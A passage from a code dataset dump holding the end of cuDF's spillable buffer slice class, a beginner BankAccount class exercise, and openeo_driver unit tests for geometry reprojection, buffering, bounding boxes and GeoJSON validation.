owner=(self._owner, spill_lock),\n )\n )\n ]\n return header, frames\n\n def __repr__(self) -> str:\n if self._ptr_desc[\"type\"] != \"gpu\":\n ptr_info = str(self._ptr_desc)\n else:\n ptr_info = str(hex(self._ptr))\n return (\n f\"\"\n )\n\n\nclass SpillableBufferSlice(SpillableBuffer):\n \"\"\"A slice of a spillable buffer\n\n This buffer applies the slicing and then delegates all\n operations to its base buffer.\n\n Parameters\n ----------\n base : SpillableBuffer\n The base of the view\n offset : int\n Memory offset into the base buffer\n size : int\n Size of the view (in bytes)\n \"\"\"\n\n def __init__(self, base: SpillableBuffer, offset: int, size: int) -> None:\n if size < 0:\n raise ValueError(\"size cannot be negative\")\n if offset < 0:\n raise ValueError(\"offset cannot be negative\")\n if offset + size > base.size:\n raise ValueError(\n \"offset+size cannot be greater than the size of base\"\n )\n self._base = base\n self._offset = offset\n self._size = size\n self._owner = base\n self.lock = base.lock\n\n @property\n def ptr(self) -> int:\n return self._base.ptr + self._offset\n\n def get_ptr(self, spill_lock: SpillLock = None) -> int:\n return self._base.get_ptr(spill_lock=spill_lock) + self._offset\n\n def _getitem(self, offset: int, size: int) -> Buffer:\n return SpillableBufferSlice(\n base=self._base, offset=offset + self._offset, size=size\n )\n\n @classmethod\n def deserialize(cls, header: dict, frames: list):\n # TODO: because of the hack in `SpillableBuffer.serialize()` where\n # frames are of type `Buffer`, we always deserialize as if they are\n # `SpillableBuffer`. In the future, we should be able to\n # deserialize into `SpillableBufferSlice` when the frames hasn't been\n # copied.\n return SpillableBuffer.deserialize(header, frames)\n\n def memoryview(self, *, offset: int = 0, size: int = None) -> memoryview:\n size = self._size if size is None else size\n return self._base.memoryview(offset=self._offset + offset, size=size)\n\n def __repr__(self) -> str:\n return (\n f\" None:\n return self._base.spill(target=target)\n\n @property\n def is_spilled(self) -> bool:\n return self._base.is_spilled\n\n @property\n def exposed(self) -> bool:\n return self._base.exposed\n\n @property\n def spillable(self) -> bool:\n return self._base.spillable\n\n def spill_lock(self, spill_lock: SpillLock) -> None:\n self._base.spill_lock(spill_lock=spill_lock)\n","sub_path":"python/cudf/cudf/core/buffer/spillable_buffer.py","file_name":"spillable_buffer.py","file_ext":"py","file_size_in_byte":15955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"118287612","text":"\"\"\" Initial class exercise\r\n\r\nThis is the intial program using classes. The class (BankAccount)\r\nallows opening an account. When the instance is created, the name must\r\nbe supplied. Deposits are handled through the method of that name and\r\nmust be positive amounts.\r\n\"\"\"\r\n\r\nclass BankAccount: # Top tier class (super class) in Python 2 or 3\r\n# class BankAccount: # works fine in Python 3. Parens not required\r\n\r\n def __init__(self, name): # This method runs during instantiation\r\n self.balance = 0 # instance variable\r\n self.acctname = name # instance variable\r\n def deposit(self, amount): # another method\r\n if amount < 0:\r\n return 4 # Negative deposits are really withdrawals\r\n self.balance += amount\r\n return 0 # Depost successful\r\n\r\na = BankAccount('Monty Python') # Create an instance of Bankaccount\r\nb = BankAccount('Guido van Rossum') # Create another instance\r\nret_code = a.deposit(100) # Deposit $100 into account \r\nif ret_code > 0: \r\n print('Deposit failed') # Return > 0\r\nret_code = b.deposit(500) # Deposit $500 into account b\r\nif ret_code > 0: \r\n print('Deposit failed') # Return > 0\r\nprint(a.balance, b.balance) # This is not good code. We will replace it.\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"Python3/class.py","file_name":"class.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"218308210","text":"import contextlib\nimport math\nfrom typing import List, Union\n\nimport pyproj\nimport pytest\nimport shapely.geometry\nfrom numpy.testing import assert_allclose\nfrom shapely.geometry import Point, Polygon\nfrom shapely.geometry.base import BaseGeometry\nfrom shapely.geos import WKTWriter\n\nfrom openeo_driver.util.geometry import (\n BoundingBox,\n BoundingBoxException,\n CrsRequired,\n GeometryBufferer,\n as_geojson_feature,\n as_geojson_feature_collection,\n geojson_to_multipolygon,\n reproject_bounding_box,\n reproject_geometry,\n spatial_extent_union,\n validate_geojson_basic,\n)\n\nfrom ..data import get_path\n\nEARTH_CIRCUMFERENCE_KM = 40075.017\n\n\ndef test_geojson_to_multipolygon():\n poly1_coords = [(0, 0), (1, 0), (1, 1), (0, 0)]\n poly2_coords = [(0, 2), (1, 2), (1, 3), (0, 2)]\n poly3_coords = [(2, 0), (3, 0), (3, 1), (2, 0)]\n gj_poly_1 = {\"type\": \"Polygon\", \"coordinates\": (poly1_coords,)}\n gj_poly_2 = {\"type\": \"Polygon\", \"coordinates\": (poly2_coords,)}\n gj_poly_3 = {\"type\": \"Polygon\", \"coordinates\": (poly3_coords,)}\n gj_multipoly_p1_p2 = {\n \"type\": \"MultiPolygon\",\n \"coordinates\": [(poly1_coords,), (poly2_coords,)],\n }\n gj_geometry_collection_p1_p2 = {\n \"type\": \"GeometryCollection\",\n \"geometries\": [gj_poly_1, gj_poly_2],\n }\n gj_geometry_collection_mp12_p3 = {\n \"type\": \"GeometryCollection\",\n \"geometries\": [gj_multipoly_p1_p2, gj_poly_3],\n }\n gj_geometry_collection_p3 = {\n \"type\": \"GeometryCollection\",\n \"geometries\": [gj_poly_3],\n }\n gj_feature_p1 = {\"type\": \"Feature\", \"geometry\": gj_poly_1}\n gj_feature_mp12 = {\"type\": \"Feature\", \"geometry\": gj_multipoly_p1_p2}\n gj_feature_gc12 = {\"type\": \"Feature\", \"geometry\": gj_geometry_collection_p1_p2}\n gj_feature_gc123 = {\"type\": \"Feature\", \"geometry\": gj_geometry_collection_mp12_p3}\n gj_featcol_p1_p2 = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": gj_poly_1},\n {\"type\": \"Feature\", \"geometry\": gj_poly_2},\n ],\n }\n gj_featcol_mp12_p3 = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": gj_multipoly_p1_p2},\n {\"type\": \"Feature\", \"geometry\": gj_poly_3},\n ],\n }\n gj_featcol_gc12_p3 = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": gj_geometry_collection_p1_p2},\n {\"type\": \"Feature\", \"geometry\": gj_poly_3},\n ],\n }\n gj_featcol_mp12_gc3 = {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\"type\": \"Feature\", \"geometry\": gj_multipoly_p1_p2},\n {\"type\": \"Feature\", \"geometry\": gj_geometry_collection_p3},\n ],\n }\n\n def assert_equal_multipolygon(a, b):\n assert isinstance(a, shapely.geometry.MultiPolygon)\n assert isinstance(b, shapely.geometry.MultiPolygon)\n assert len(a) == len(b)\n assert a.equals(b), f\"{a!s} ?= {b!s}\"\n\n poly_1 = shapely.geometry.Polygon(poly1_coords)\n poly_2 = shapely.geometry.Polygon(poly2_coords)\n poly_3 = shapely.geometry.Polygon(poly3_coords)\n multipoly_p1_p2 = shapely.geometry.MultiPolygon([poly_1, poly_2])\n multipoly_p1_p2_p3 = shapely.geometry.MultiPolygon([poly_1, poly_2, poly_3])\n\n assert geojson_to_multipolygon(gj_poly_1) == poly_1\n assert geojson_to_multipolygon(gj_feature_p1) == poly_1\n\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_multipoly_p1_p2), multipoly_p1_p2\n )\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_geometry_collection_p1_p2), multipoly_p1_p2\n )\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_geometry_collection_mp12_p3), multipoly_p1_p2_p3\n )\n assert_equal_multipolygon(geojson_to_multipolygon(gj_feature_mp12), multipoly_p1_p2)\n assert_equal_multipolygon(geojson_to_multipolygon(gj_feature_gc12), multipoly_p1_p2)\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_feature_gc123), multipoly_p1_p2_p3\n )\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_featcol_p1_p2), multipoly_p1_p2\n )\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_featcol_mp12_p3), multipoly_p1_p2_p3\n )\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_featcol_gc12_p3), multipoly_p1_p2_p3\n )\n assert_equal_multipolygon(\n geojson_to_multipolygon(gj_featcol_mp12_gc3), multipoly_p1_p2_p3\n )\n\n\n@pytest.mark.parametrize(\n [\"crs\", \"bbox\"],\n [\n (\n \"EPSG:32631\",\n {\"west\": 640800, \"south\": 5676000, \"east\": 642200, \"north\": 5677000},\n ),\n (\"EPSG:4326\", {\"west\": 5.01, \"south\": 51.2, \"east\": 5.1, \"north\": 51.5}),\n ],\n)\ndef test_reproject_bounding_box_same(crs, bbox):\n reprojected = reproject_bounding_box(bbox, from_crs=crs, to_crs=crs)\n assert reprojected == dict(crs=crs, **bbox)\n\n\ndef test_reproject_bounding_box():\n bbox = {\"west\": 640800, \"south\": 5676000, \"east\": 642200.0, \"north\": 5677000.0}\n reprojected = reproject_bounding_box(\n bbox, from_crs=\"EPSG:32631\", to_crs=\"EPSG:4326\"\n )\n assert reprojected == {\n \"west\": pytest.approx(5.016118467277098),\n \"south\": pytest.approx(51.217660146353246),\n \"east\": pytest.approx(5.036548264535997),\n \"north\": pytest.approx(51.22699369149726),\n \"crs\": \"EPSG:4326\",\n }\n\n\ndef test_reproject_geometry():\n geometry = shapely.geometry.GeometryCollection(\n [\n shapely.geometry.Point(5.0, 51.0),\n shapely.geometry.LineString([(5.0, 51.0), (5.1, 51.1)]),\n ]\n )\n expected_reprojected = shapely.geometry.GeometryCollection(\n [\n shapely.geometry.Point(640333.2963383198, 5651728.68267166),\n shapely.geometry.LineString(\n [\n (640333.2963383198, 5651728.68267166),\n (647032.2494640718, 5663042.764772809),\n ]\n ),\n ]\n )\n reprojected = reproject_geometry(\n geometry, from_crs=\"EPSG:4326\", to_crs=\"EPSG:32631\"\n )\n assert reprojected.equals(expected_reprojected)\n\n # Individual reprojected geometries should be equal to the reprojected collection.\n reprojected_geoms = []\n for geom in geometry.geoms:\n geom = reproject_geometry(geom, from_crs=\"EPSG:4326\", to_crs=\"EPSG:32631\")\n reprojected_geoms.append(geom)\n reprojected_expected = shapely.geometry.GeometryCollection(reprojected_geoms)\n assert reprojected.equals(reprojected_expected)\n\n # Inverse\n reprojected = reproject_geometry(\n expected_reprojected, from_crs=\"EPSG:32631\", to_crs=\"EPSG:4326\"\n )\n # Reprojection introduces very small errors.\n assert not reprojected.within(geometry)\n assert reprojected.within(geometry.buffer(1e-6))\n\n\ndef test_spatial_extent_union():\n assert spatial_extent_union({\"west\": 1, \"south\": 51, \"east\": 2, \"north\": 52}) == {\n \"west\": 1,\n \"south\": 51,\n \"east\": 2,\n \"north\": 52,\n \"crs\": \"EPSG:4326\",\n }\n assert spatial_extent_union(\n {\"west\": 1, \"south\": 51, \"east\": 2, \"north\": 52},\n {\"west\": 3, \"south\": 53, \"east\": 4, \"north\": 54},\n ) == {\"west\": 1, \"south\": 51, \"east\": 4, \"north\": 54, \"crs\": \"EPSG:4326\"}\n assert spatial_extent_union(\n {\"west\": 1, \"south\": 51, \"east\": 2, \"north\": 52},\n {\"west\": -5, \"south\": 50, \"east\": 3, \"north\": 53},\n {\"west\": 3, \"south\": 53, \"east\": 4, \"north\": 54},\n ) == {\"west\": -5, \"south\": 50, \"east\": 4, \"north\": 54, \"crs\": \"EPSG:4326\"}\n\n\ndef test_spatial_extent_union_mixed_crs():\n bbox1 = {\n \"west\": 640860.0,\n \"south\": 5676170.0,\n \"east\": 642140.0,\n \"north\": 5677450.0,\n \"crs\": \"EPSG:32631\",\n }\n bbox2 = {\n \"west\": 5.017,\n \"south\": 51.21,\n \"east\": 5.035,\n \"north\": 51.23,\n \"crs\": \"EPSG:4326\",\n }\n assert spatial_extent_union(bbox1, bbox2) == {\n \"west\": 640824.9450876965,\n \"south\": 5675111.354480841,\n \"north\": 5677450.0,\n \"east\": 642143.1739784481,\n \"crs\": \"EPSG:32631\",\n }\n assert spatial_extent_union(bbox2, bbox1) == {\n \"west\": 5.017,\n \"south\": 51.21,\n \"east\": 5.035868037661473,\n \"north\": 51.2310228422003,\n \"crs\": \"EPSG:4326\",\n }\n\n\ndef to_wkt(geometry: BaseGeometry, rounding_precision=2):\n wkt_writer = WKTWriter(shapely.geos.lgeos, rounding_precision=rounding_precision)\n return wkt_writer.write(geometry)\n\n\nclass TestGeometryBufferer:\n def test_basic_point(self):\n bufferer = GeometryBufferer(distance=1)\n point = Point(2, 3)\n polygon = bufferer.buffer(point)\n assert isinstance(polygon, Polygon)\n assert_allclose(\n polygon.exterior.coords,\n [\n (3, 3),\n (2.7, 2.3),\n (2, 2),\n (1.3, 2.3),\n (1, 3),\n (1.3, 3.7),\n (2, 4),\n (2.7, 3.7),\n (3, 3),\n ],\n atol=0.01,\n )\n\n @pytest.mark.parametrize(\n [\"resolution\", \"expected\"],\n [\n (1, [(8, 8), (5, 5), (2, 8), (5, 11), (8, 8)]),\n (\n 2,\n [\n (8.0, 8.0),\n (7.12, 5.88),\n (5.0, 5.0),\n (2.88, 5.88),\n (2.0, 8.0),\n (2.88, 10.12),\n (5.0, 11.0),\n (7.12, 10.12),\n (8.0, 8.0),\n ],\n ),\n ],\n )\n def test_resolution(self, resolution, expected):\n bufferer = GeometryBufferer(distance=3, resolution=resolution)\n point = Point(5, 8)\n polygon = bufferer.buffer(point)\n assert isinstance(polygon, Polygon)\n assert_allclose(polygon.exterior.coords, expected, atol=0.01)\n\n @pytest.mark.parametrize(\n [\"distance\", \"expected\"],\n [\n (0, 0),\n (1, 360 / (EARTH_CIRCUMFERENCE_KM * 1000)),\n (1000, 360 / EARTH_CIRCUMFERENCE_KM),\n ],\n )\n def test_transform_meters_to_lonlat_default(self, distance, expected):\n distance = GeometryBufferer.transform_meter_to_crs(\n distance=distance, crs=\"EPSG:4326\"\n )\n assert_allclose(distance, expected, rtol=1e-3)\n\n def test_transform_meters_to_pyproj_crs(self):\n distance = GeometryBufferer.transform_meter_to_crs(\n distance=1000,\n crs=pyproj.CRS.from_epsg(32631),\n loi=(3, 0),\n loi_crs=pyproj.CRS.from_epsg(4326),\n )\n assert_allclose(distance, 1000, rtol=1e-3)\n\n @pytest.mark.parametrize(\n [\"latitude\", \"expected\"],\n [\n (0, 360 / EARTH_CIRCUMFERENCE_KM),\n # Rough back-of-envelope calculation for circumference at latitude\n (52, 360 / (EARTH_CIRCUMFERENCE_KM * math.cos(52 * math.pi / 180))),\n (75, 360 / (EARTH_CIRCUMFERENCE_KM * math.cos(75 * math.pi / 180))),\n ],\n )\n def test_transform_meters_to_lonlat_latitude_correction(self, latitude, expected):\n distance = GeometryBufferer.transform_meter_to_crs(\n distance=1000, crs=\"EPSG:4326\", loi=(3, latitude)\n )\n assert_allclose(distance, expected, rtol=1e-2)\n\n def test_transform_meters_to_utm_roundtrip(self):\n distance = GeometryBufferer.transform_meter_to_crs(\n distance=1000,\n crs=\"epsg:32631\",\n loi=(4, 52),\n loi_crs=\"EPSG:4326\",\n )\n assert_allclose(distance, 1000, rtol=1e-6)\n\n def test_from_meter_for_crs(self):\n bufferer = GeometryBufferer.from_meter_for_crs(distance=1000, crs=\"EPSG:4326\")\n point = Point(4, 51)\n polygon = bufferer.buffer(point)\n assert isinstance(polygon, Polygon)\n\n assert_allclose(\n polygon.exterior.coords,\n [\n (4.009, 51),\n (4.006, 50.99),\n (4, 50.99),\n (3.994, 50.99),\n (3.991, 51),\n (3.994, 51.01),\n (4, 51.01),\n (4.006, 51.01),\n (4.009, 51),\n ],\n atol=0.01,\n )\n\n\nclass TestAsGeoJsonFeatureCollection:\n def test_as_geojson_feature_point(self):\n feature = as_geojson_feature(Point(1, 2))\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n }\n\n def test_as_geojson_feature_point_with_properties(self):\n feature = as_geojson_feature(Point(1, 2), properties={\"color\": \"red\"})\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": {\"color\": \"red\"},\n }\n\n def test_as_geojson_feature_dict(self):\n feature = as_geojson_feature({\"type\": \"Point\", \"coordinates\": (1.0, 2.0)})\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n }\n\n def test_as_geojson_feature_dict_with_properties(self):\n feature = as_geojson_feature(\n {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)}, properties={\"color\": \"red\"}\n )\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": {\"color\": \"red\"},\n }\n\n def test_as_geojson_feature_path(self):\n feature = as_geojson_feature(get_path(\"geojson/Polygon01.json\"))\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\n \"coordinates\": [\n [\n [5.1, 51.22],\n [5.11, 51.23],\n [5.14, 51.21],\n [5.12, 51.2],\n [5.1, 51.22],\n ]\n ],\n \"type\": \"Polygon\",\n },\n \"properties\": None,\n }\n\n def test_as_geojson_feature_from_feature(self):\n feature = as_geojson_feature(\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n }\n )\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n }\n\n def test_as_geojson_feature_from_feature_with_properties(self):\n feature = as_geojson_feature(\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": {\"color\": \"red\", \"size\": 4},\n },\n )\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": {\"color\": \"red\", \"size\": 4},\n }\n\n def test_as_geojson_feature_from_feature_with_properties_override(self):\n feature = as_geojson_feature(\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": {\"color\": \"red\", \"size\": 4},\n },\n properties={\"color\": \"GREEN!\", \"shape\": \"circle\"},\n )\n assert feature == {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": {\"color\": \"GREEN!\", \"shape\": \"circle\"},\n }\n\n def test_as_geojson_feature_collection_simple_point(self):\n feature_collection = as_geojson_feature_collection(Point(1, 2))\n assert feature_collection == {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n }\n ],\n }\n\n def test_as_geojson_feature_collection_multiple(self):\n feature_collection = as_geojson_feature_collection(\n Point(1, 2), Polygon.from_bounds(1, 2, 3, 4), Point(5, 6)\n )\n assert feature_collection == {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": (\n (\n (1.0, 2.0),\n (1.0, 4.0),\n (3.0, 4.0),\n (3.0, 2.0),\n (1.0, 2.0),\n ),\n ),\n },\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (5.0, 6.0)},\n \"properties\": None,\n },\n ],\n }\n\n def test_as_geojson_feature_collection_multiple_as_list(self):\n feature_collection = as_geojson_feature_collection(\n [Point(1, 2), Polygon.from_bounds(1, 2, 3, 4), Point(5, 6)]\n )\n assert feature_collection == {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": (\n (\n (1.0, 2.0),\n (1.0, 4.0),\n (3.0, 4.0),\n (3.0, 2.0),\n (1.0, 2.0),\n ),\n ),\n },\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (5.0, 6.0)},\n \"properties\": None,\n },\n ],\n }\n\n def test_as_geojson_feature_collection_mix(self):\n feature_collection = as_geojson_feature_collection(\n {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n Polygon.from_bounds(1, 2, 3, 4),\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (5.0, 6.0)},\n \"properties\": None,\n },\n get_path(\"geojson/Polygon01.json\"),\n )\n assert feature_collection == {\n \"type\": \"FeatureCollection\",\n \"features\": [\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (1.0, 2.0)},\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"type\": \"Polygon\",\n \"coordinates\": (\n (\n (1.0, 2.0),\n (1.0, 4.0),\n (3.0, 4.0),\n (3.0, 2.0),\n (1.0, 2.0),\n ),\n ),\n },\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\"type\": \"Point\", \"coordinates\": (5.0, 6.0)},\n \"properties\": None,\n },\n {\n \"type\": \"Feature\",\n \"geometry\": {\n \"coordinates\": [\n [\n [5.1, 51.22],\n [5.11, 51.23],\n [5.14, 51.21],\n [5.12, 51.2],\n [5.1, 51.22],\n ]\n ],\n \"type\": \"Polygon\",\n },\n \"properties\": None,\n },\n ],\n }\n\n\nclass TestBoundingBox:\n def test_basic(self):\n bbox = BoundingBox(1, 2, 3, 4)\n assert bbox.west == 1\n assert bbox.south == 2\n assert bbox.east == 3\n assert bbox.north == 4\n assert bbox.crs is None\n\n @pytest.mark.parametrize(\"crs\", [4326, \"EPSG:4326\", \"epsg:4326\"])\n def test_basic_with_crs(self, crs):\n bbox = BoundingBox(1, 2, 3, 4, crs=crs)\n assert bbox.west == 1\n assert bbox.south == 2\n assert bbox.east == 3\n assert bbox.north == 4\n assert bbox.crs == \"EPSG:4326\"\n\n def test_immutable(self):\n bbox = BoundingBox(1, 2, 3, 4, crs=4326)\n assert bbox.west == 1\n with pytest.raises(AttributeError):\n bbox.west = 100\n with pytest.raises(AttributeError):\n bbox.crs = \"EPSG:32631\"\n assert bbox.west == 1\n assert bbox.crs == \"EPSG:4326\"\n\n def test_repr(self):\n bbox = BoundingBox(1, 2, 3, 4, crs=4326)\n expected = \"BoundingBox(west=1, south=2, east=3, north=4, crs='EPSG:4326')\"\n assert repr(bbox) == expected\n\n def test_str(self):\n bbox = BoundingBox(1, 2, 3, 4, crs=4326)\n expected = \"BoundingBox(west=1, south=2, east=3, north=4, crs='EPSG:4326')\"\n assert str(bbox) == expected\n\n def test_missing_bounds(self):\n with pytest.raises(BoundingBoxException, match=r\"Missing bounds: \\['south'\\]\"):\n _ = BoundingBox(1, None, 3, 4)\n\n def test_missing_invalid_crs(self):\n with pytest.raises(BoundingBoxException):\n _ = BoundingBox(1, 2, 3, 4, crs=\"foobar:42\")\n\n @pytest.mark.parametrize(\n [\"data\", \"default_crs\", \"expected\"],\n [\n ({\"west\": 1, \"south\": 2, \"east\": 3, \"north\": 4}, None, (1, 2, 3, 4, None)),\n (\n {\"west\": 1, \"south\": 2, \"east\": 3, \"north\": 4},\n 4326,\n (1, 2, 3, 4, \"EPSG:4326\"),\n ),\n (\n {\"west\": 1, \"south\": 2, \"east\": 3, \"north\": 4, \"crs\": 4326},\n None,\n (1, 2, 3, 4, \"EPSG:4326\"),\n ),\n (\n {\"west\": 1, \"south\": 2, \"east\": 3, \"north\": 4, \"crs\": \"EPSG:4326\"},\n None,\n (1, 2, 3, 4, \"EPSG:4326\"),\n ),\n (\n {\"west\": 1, \"south\": 2, \"east\": 3, \"north\": 4, \"crs\": \"EPSG:4326\"},\n 32631,\n (1, 2, 3, 4, \"EPSG:4326\"),\n ),\n ],\n )\n def test_from_dict(self, data, default_crs, expected):\n bbox = BoundingBox.from_dict(data, default_crs=default_crs)\n assert (bbox.west, bbox.south, bbox.east, bbox.north, bbox.crs) == expected\n\n def test_from_dict_invalid(self):\n data = {\"west\": 1, \"south\": 2, \"east\": None, \"northhhhhh\": 4}\n with pytest.raises(\n BoundingBoxException, match=r\"Missing bounds: \\['east', 'north'\\]\"\n ):\n _ = BoundingBox.from_dict(data)\n\n def test_from_dict_or_none(self):\n data = {\"west\": 1, \"south\": 2, \"east\": None, \"northhhhhh\": 4}\n bbox = BoundingBox.from_dict_or_none(data)\n assert bbox is None\n\n def test_from_wsen_tuple(self):\n bbox = BoundingBox.from_wsen_tuple((4, 3, 2, 1))\n expected = (4, 3, 2, 1, None)\n assert (bbox.west, bbox.south, bbox.east, bbox.north, bbox.crs) == expected\n\n def test_from_wsen_tuple_with_crs(self):\n bbox = BoundingBox.from_wsen_tuple((4, 3, 2, 1), crs=32631)\n expected = (4, 3, 2, 1, \"EPSG:32631\")\n assert (bbox.west, bbox.south, bbox.east, bbox.north, bbox.crs) == expected\n\n def test_is_georeferenced(self):\n assert BoundingBox(1, 2, 3, 4).is_georeferenced() is False\n assert BoundingBox(1, 2, 3, 4, crs=4326).is_georeferenced() is True\n\n def test_as_tuple(self):\n bbox = BoundingBox(1, 2, 3, 4)\n assert bbox.as_tuple() == (1, 2, 3, 4, None)\n bbox = BoundingBox(1, 2, 3, 4, crs=\"epsg:4326\")\n assert bbox.as_tuple() == (1, 2, 3, 4, \"EPSG:4326\")\n\n def test_as_wsen_tuple(self):\n assert BoundingBox(1, 2, 3, 4).as_wsen_tuple() == (1, 2, 3, 4)\n assert BoundingBox(1, 2, 3, 4, crs=\"epsg:4326\").as_wsen_tuple() == (1, 2, 3, 4)\n\n def test_reproject(self):\n bbox = BoundingBox(3, 51, 3.1, 51.1, crs=\"epsg:4326\")\n reprojected = bbox.reproject(32631)\n assert isinstance(reprojected, BoundingBox)\n assert reprojected.as_tuple() == (\n pytest.approx(500000, abs=10),\n pytest.approx(5649824, abs=10),\n pytest.approx(507016, abs=10),\n pytest.approx(5660950, abs=10),\n \"EPSG:32631\",\n )\n\n def test_best_utm_no_crs(self):\n bbox = BoundingBox(1, 2, 3, 4)\n with pytest.raises(CrsRequired):\n _ = bbox.best_utm()\n\n def test_best_utm(self):\n bbox = BoundingBox(4, 51, 4.1, 51.1, crs=\"EPSG:4326\")\n assert bbox.best_utm() == 32631\n\n bbox = BoundingBox(-72, -13, -71, -12, crs=\"EPSG:4326\")\n assert bbox.best_utm() == 32719\n\n\nclass TestValidateGeoJSON:\n @staticmethod\n @contextlib.contextmanager\n def _checker(expected_issue: Union[str, None], raise_exception: bool):\n \"\"\"\n Helper context manager to easily check a validate_geojson_basic result\n for both raise_exception modes:\n\n - \"exception mode\": context manger __exit__ phase checks result\n - \"return issue mode\": returned `check` function should be used inside context manageer body\n \"\"\"\n checked = False\n\n def check(result: List[str]):\n \"\"\"Check validation result in case no actual exception was thrown\"\"\"\n nonlocal checked\n checked = True\n if expected_issue:\n if raise_exception:\n pytest.fail(\"Exception should have been raised\")\n if not result:\n pytest.fail(\"No issue was reported\")\n assert expected_issue in \"\\n\".join(result)\n else:\n if result:\n pytest.fail(f\"Unexpected issue reported: {result}\")\n\n try:\n yield check\n except Exception as e:\n # Check validation result in case of actual exception\n if not raise_exception:\n pytest.fail(f\"Unexpected {e!r}: issue should be returned\")\n if not expected_issue:\n pytest.fail(f\"Unexpected {e!r}: no issue expected\")\n assert expected_issue in str(e)\n else:\n # No exception was thrown: check that the `check` function has been called.\n if not checked:\n raise RuntimeError(\"`check` function was not used\")\n\n @pytest.mark.parametrize(\n [\"value\", \"expected_issue\"],\n [\n (\"nope nope\", \"JSON object (mapping/dictionary) expected, but got str\"),\n (123, \"JSON object (mapping/dictionary) expected, but got int\"),\n ({}, \"No 'type' field\"),\n ({\"type\": 123}, \"Invalid 'type' type: int\"),\n ({\"type\": {\"Poly\": \"gon\"}}, \"Invalid 'type' type: dict\"),\n ({\"type\": \"meh\"}, \"Invalid type 'meh'\"),\n ({\"type\": \"Point\"}, \"No 'coordinates' field (type 'Point')\"),\n ({\"type\": \"Point\", \"coordinates\": [1, 2]}, None),\n ({\"type\": \"Polygon\"}, \"No 'coordinates' field (type 'Polygon')\"),\n ({\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, None),\n ({\"type\": \"MultiPolygon\"}, \"No 'coordinates' field (type 'MultiPolygon')\"),\n ({\"type\": \"MultiPolygon\", \"coordinates\": [[[1, 2]]]}, None),\n ({\"type\": \"GeometryCollection\", \"coordinates\": []}, \"No 'geometries' field (type 'GeometryCollection')\"),\n ({\"type\": \"GeometryCollection\", \"geometries\": []}, None),\n ({\"type\": \"Feature\", \"coordinates\": []}, \"No 'geometry' field (type 'Feature')\"),\n ({\"type\": \"Feature\", \"geometry\": {}}, \"No 'properties' field (type 'Feature')\"),\n ({\"type\": \"Feature\", \"geometry\": {}, \"properties\": {}}, \"No 'type' field\"),\n (\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\"}, \"properties\": {}},\n \"No 'coordinates' field (type 'Polygon')\",\n ),\n (\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygon\", \"coordinates\": [[1, 2]]}, \"properties\": {}},\n None,\n ),\n (\n {\"type\": \"Feature\", \"geometry\": {\"type\": \"Polygonnnnn\", \"coordinates\": [[1, 